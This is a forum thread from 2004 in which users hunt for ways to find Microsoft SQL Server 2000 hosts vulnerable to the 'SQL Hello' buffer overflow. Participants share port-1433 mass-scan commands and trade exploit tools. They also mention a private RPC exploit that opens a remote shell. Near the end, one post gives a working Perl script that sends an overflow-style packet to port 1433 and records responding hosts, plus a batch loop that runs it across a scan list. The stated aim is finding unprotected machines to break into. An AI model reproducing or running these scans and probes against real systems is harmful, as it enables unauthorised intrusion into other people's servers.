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MxMx
Hey all..

Yeah I know ... Ive searched google but NO results dry.gif
I only found Retina and Nessus .. which one is the best for the SQL Hello hole?

thanx sad.gif
labbertasche
look at xscan nasal* scripts wink.gif (you can delete the other scripts and ... you have a hello scanner)

greets
labbertasche



ps: why do you need a scanner ? ping 1433 an take a bat script from the board rolleyes.gif


*nasal or nessus mhhh my brain ... blink.gif
realloader
i got a shell.
But all Port r closed! what can we do?
MxMx
type exit smile.gif dry.gif
labbertasche
* möööp * tongue.gif




uhhh mist sorry spam unsure.gif
Lanig
SQLScan by foundstone
link:
http://foundstone.com/resources/termsofuse...ile=sqlscan.zip
MxMx
SQLScan is a Windows GUI scanner tailored specifically to finding SQL servers
that may be vulnerable to the recent SQL "Slammer" or "SQHell" worm that
attacks vulnerable Microsoft SQL 2000 servers.

thanq for the url but dont think this is the right scanner for SQLHello .. I had some results checking by hand .. and then checked it with these scanner and it didnt find my result ( shell vuln ) .. but thanks anyway smile.gif

I found this vuln @ Buqtrack ID 53..

and Sql Hello is Buqtrack ID 5411 blink.gif
SkullSplitter
when i remember right ,

is the sqlhello exploit over 2 years old

why do you want a scanner for this old shit ?
isaiah
they are probly berlly getting exploit l00l
EzMe
Gere u go m8

Usage: sqlhelloscanner2 scan.txt yourip > results.txt
Make sure scan.txt being your scan file and you must enter your ip after scan.txt the rest explains its self wink.gif

ganz2
QUOTE (EzMe @ Sep 23 2004, 02:13 AM)
Gere u go m8

Usage: sqlhelloscanner2 scan.txt yourip > results.txt
Make sure scan.txt being your scan file and you must enter your ip after scan.txt the rest explains its self wink.gif

can u specify an ip range in the text file or must you list all ips?
BoNzO
scan500 -p 1433 127.0.0.1 127.*.*.1 & good batch script...
MxMx
yeah the SQL hello is 2 years old .. but still quite vulnerable smile.gif
MxMx
Help Me !

I typ sqlscanner.exe ips.txt myIP

the progs outputs a result.txt after 1 sec sad.gif

I hasnt scanned my ips unsure.gif
iiiemuiii
that's just how fast the scanner works. i scanned about 2000 ips in 5-8 seconds.

also u need to make sure the contents in your file must be just the ips.
MxMx
jep ..

I had all ips listed .. no results?.. dry.gif

// the results list stays empty .. dry.gif
dijk
well you don't get much results nowaday so prob.. you don't have a vunerable.??

just a option......
ashk1a
u can scan range of ips on port 1433 and then make a bat to check this ips if u can get shell or not
(u can use sfind scanner)

by the way...any one heard about new rpc exploit??
arn0ld
no dude is it prv ?
ashk1a
ya sad.gif its prv and her bug is on lsasrv.dll its new version of rpc exploits and u can get a remote shell on 539 port
ivan288
QUOTE (ashk1a @ Sep 24 2004, 10:31 AM)
ya sad.gif its prv and her bug is on lsasrv.dll its new version of rpc exploits and u can get a remote shell on 539 port

sounds sweet. remember the last rpc one, good times tongue.gif
ashk1a
the last ver was on 135 tongue.gif
DJ AVIAD B
i need sqlhelloscan2 the link is not working
mekros
this may help...
night^man
dfind is very fast scanner scan1000 also
use one of them to scan port 1433
than use foundstone@ sql scanner to checks vuln's
"read IP's from file" add your port1433 scan file
and start scan
good luck
MxMx
dunnow if foundstone's scanner is made for the sql hello exploit..

thanks for helping me anyway biggrin.gif
untouchable
there is too Dfind who not bad fot mssql

Dfind -sql 127.0.0.1 127.0.0.255 255

For exemple smile.gif
MxMx
owh ofcourse .. dumb me .. laugh.gif


thank y0
kAthArSiS
nice. The sql hello vulnerable scanner is really needed !
NoRRiS
QUOTE(kAthArSiS @ Oct 31 2004, 04:31 PM)
nice. The sql hello vulnerable scanner is really needed !
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Juste make a portscan 1433 with an usual portscanner like scan100 500 or 1000
perky
ok ! dry.gif
tuttefrut
QUOTE
Juste make a portscan 1433 with an usual portscanner like scan100 500 or 1000


but then u have to check all ip's for vulnerability
if you have a "sql hello vulnerable scanner" you know wich ip's are vuln. and unprotected ...
that saves a lot of time when you are working with a large scanfile
Source
QUOTE(tuttefrut @ Nov 2 2004, 12:28 PM)
QUOTE
Juste make a portscan 1433 with an usual portscanner like scan100 500 or 1000


but then u have to check all ip's for vulnerability
if you have a "sql hello vulnerable scanner" you know wich ip's are vuln. and unprotected ...
that saves a lot of time when you are working with a large scanfile
*




True

Or if somone has a batch file that will work with Dfind or somthing. Somthing that will check the ip list to see if there is vun ips to the hello exploit.

any idea's?

NoRRiS
QUOTE(tuttefrut @ Nov 2 2004, 12:28 PM)
QUOTE
Juste make a portscan 1433 with an usual portscanner like scan100 500 or 1000


but then u have to check all ip's for vulnerability
if you have a "sql hello vulnerable scanner" you know wich ip's are vuln. and unprotected ...
that saves a lot of time when you are working with a large scanfile
*



Yes a real SQLHELLO scanner was beter
But no SQLHELLO exist or it's private ^^
amnesia
QUOTE(iiiemuiii @ Sep 24 2004, 08:04 AM)
that's just how fast the scanner works.  i scanned about 2000 ips in 5-8 seconds.

also u need to make sure the contents in your file must be just the ips.
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the attached file is missing. can someone attach it back please?
gunknown
QUOTE(EzMe @ Sep 23 2004, 02:13 AM)
Usage: sqlhelloscanner2 scan.txt yourip > results.txt
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You have to enter your ip so I think the scanner works with an connect back exploit to test for vuln. On which port does it connect back?
Am I right that the sqlhello source code is still private?
touk
CODE
#!/usr/bin/perl
# code by touk
# for MxMx & GSO
# Vulnerable hosts are in vulnerables.txt
# This file needs to be named: vcsqlhello.pl


use IO::Socket;
use IO::File;
use Getopt::Std;
getopts('s:', \%args);
if(!defined($args{s}))
{
print "00ps, vcsqlhello.pl -s ipaddress!";
exit;
}
$serv = $args{s};
$bof="\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b"; #header
$bof.="\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02"; #header
$bof.="\x10\x00\x00\x00"; #header
$bof.="\x00\x24\x01\x00\x00"; #tail

$bof.="crap"x560; # crapmsg
$remote = IO::Socket::INET->new(
                  Proto       => "tcp",
                  PeerAddr    => $args{s},
                  PeerPort    => "(1433)",
              ) || die("[*] Server Down?\n");
print"[*] Sending VC string\n";
$remote->autoflush(1);
print $remote "$bof";
print("[*] All Done...\n");
$remote->recv($answer,4096);
  if($answer ne '')
  {

print "[*] Vulnerable";
$resultfile = "vulnerables.txt";
$fh = IO::File->new("+>> $resultfile")or die "Couldn't open $file for writing: $!\n";
open(FH, "+>> $resultfile")                                 or die $!;
print FH "$args{s}\n";
close(FH);
}
else{
print "[*] Not Vulnerable";
exit 1;
}
sleep(2);



autochecker.bat : FOR /F "tokens=1* delims=," %%i in (scan.txt) do vcsqlhello.pl -s %%i
blumaster
i thing that for me the best scanner for sql is Xray,but i'm using also Xscan with modificated file .dat where are the user and password.

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